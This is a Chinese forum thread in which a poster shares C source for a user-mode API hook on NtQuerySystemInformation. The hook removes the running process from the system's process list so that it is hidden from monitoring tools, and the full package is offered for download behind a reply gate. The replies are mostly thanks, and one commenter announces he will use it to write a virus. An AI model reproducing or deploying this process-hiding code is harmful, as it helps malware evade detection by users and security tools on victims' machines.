ring3 API HOOK隐藏进程源代码及DEMO

Koma

好久之前在gg找到的一份代码，有兴趣的看看！

部分代码：

1. long __stdcall MyNtQuerySystemInformation(
   
2.   DWORD SysInformatoinClass,
   
3.   PVOID SystemInformation,         
   
4.   ULONG SystemInformationLength,
   
5.   PULONG ReturnLength OPTIONAL)
   
6. {
   
7.   long Result;
   
8. 
   
9.   Result = ((PNTQUERYSYSTEMINFORMATION)(PROC)(*NtQuerySystemInformationHook))
   
10.                  (SysInformatoinClass,SystemInformation,SystemInformationLength,ReturnLength);
    
11. 
    
12.   //一定要使用结构化异常处理，否则就有可能出现异常对话框。
    
13.   __try
    
14.   {
    
15.     if(SysInformatoinClass == 5 && Result == 0 /* STATUS_SUCCESS */)
    
16.     {
    
17.       PPROCESSINFO pProcessInfo;
    
18.       PPROCESSINFO pPrevProcessInfo;
    
19. 
    
20.       pProcessInfo = (PPROCESSINFO)SystemInformation;
    
21.       pPrevProcessInfo = pProcessInfo;
    
22. 
    
23.       while(true)
    
24.       {
    
25.         if(pProcessInfo != NULL && pProcessInfo->dwProcessID == dwSelfProcessID)
    
26.         {
    
27.           if(pProcessInfo->dwOffset == 0)
    
28.             pPrevProcessInfo->dwOffset = 0;
    
29.           else
    
30.             pPrevProcessInfo->dwOffset = pPrevProcessInfo->dwOffset + pProcessInfo->dwOffset;
    
31. 
    
32.           break;
    
33.         }
    
34. 
    
35.         if(pProcessInfo->dwOffset == 0)
    
36.           break;
    
37. 
    
38.         pPrevProcessInfo = pProcessInfo;
    
39.         pProcessInfo = (PPROCESSINFO)((byte*)pProcessInfo + pProcessInfo->dwOffset);
    
40.       }
    
41.     }
    
42.   }
    
43.   __except(EXCEPTION_EXECUTE_HANDLER)
    
44.   {
    
45.     /*/ 发生异常，但是不必做任何事
    
46.     ::MessageBox(NULL,"Exception Occured at self-defined function :(",NULL,MB_OK | MB_ICONWARNING);
    
47.     //*/
    
48.   }
    
49. 
    
50.   return Result;
    
51. }
    
52. //---------------------------------------------------------------------------
    

复制代码

源代码下载：

游客，如果您要查看本帖隐藏内容请回复

行云流水

不错不错，终于找到了

gyrilyuuu

dingaaaaaaaaaaa

liulika

我也来下看。是否真隐藏

hendugu

看看~

8970665

回屋睡视同儿戏

kk3959

哈哈，看下啊，研究下啊

qijicxl

koma老大也要支持下

Artkai

谢谢分享啊

wangyangkkx

下来学习一下

draeag

看看，学习下！

guoliyan1

我也来下看。是否真隐藏

style

感谢分享。。。。。。。。。

小黑

  顶，支持LZ哦、

xiaocao

找了好久  不知道 是否真能 隐藏

bandok123

很好啊，可惜还有点不懂，看看

zxpyld3x

学习收藏研究MyCcAsm.cAsm.c.Asm.........Asm.c...oo0

cknight夜

下载下来，学习一下

928415095

终于找到了，太好了，我要写病毒了。

zhou20081121

好好学习下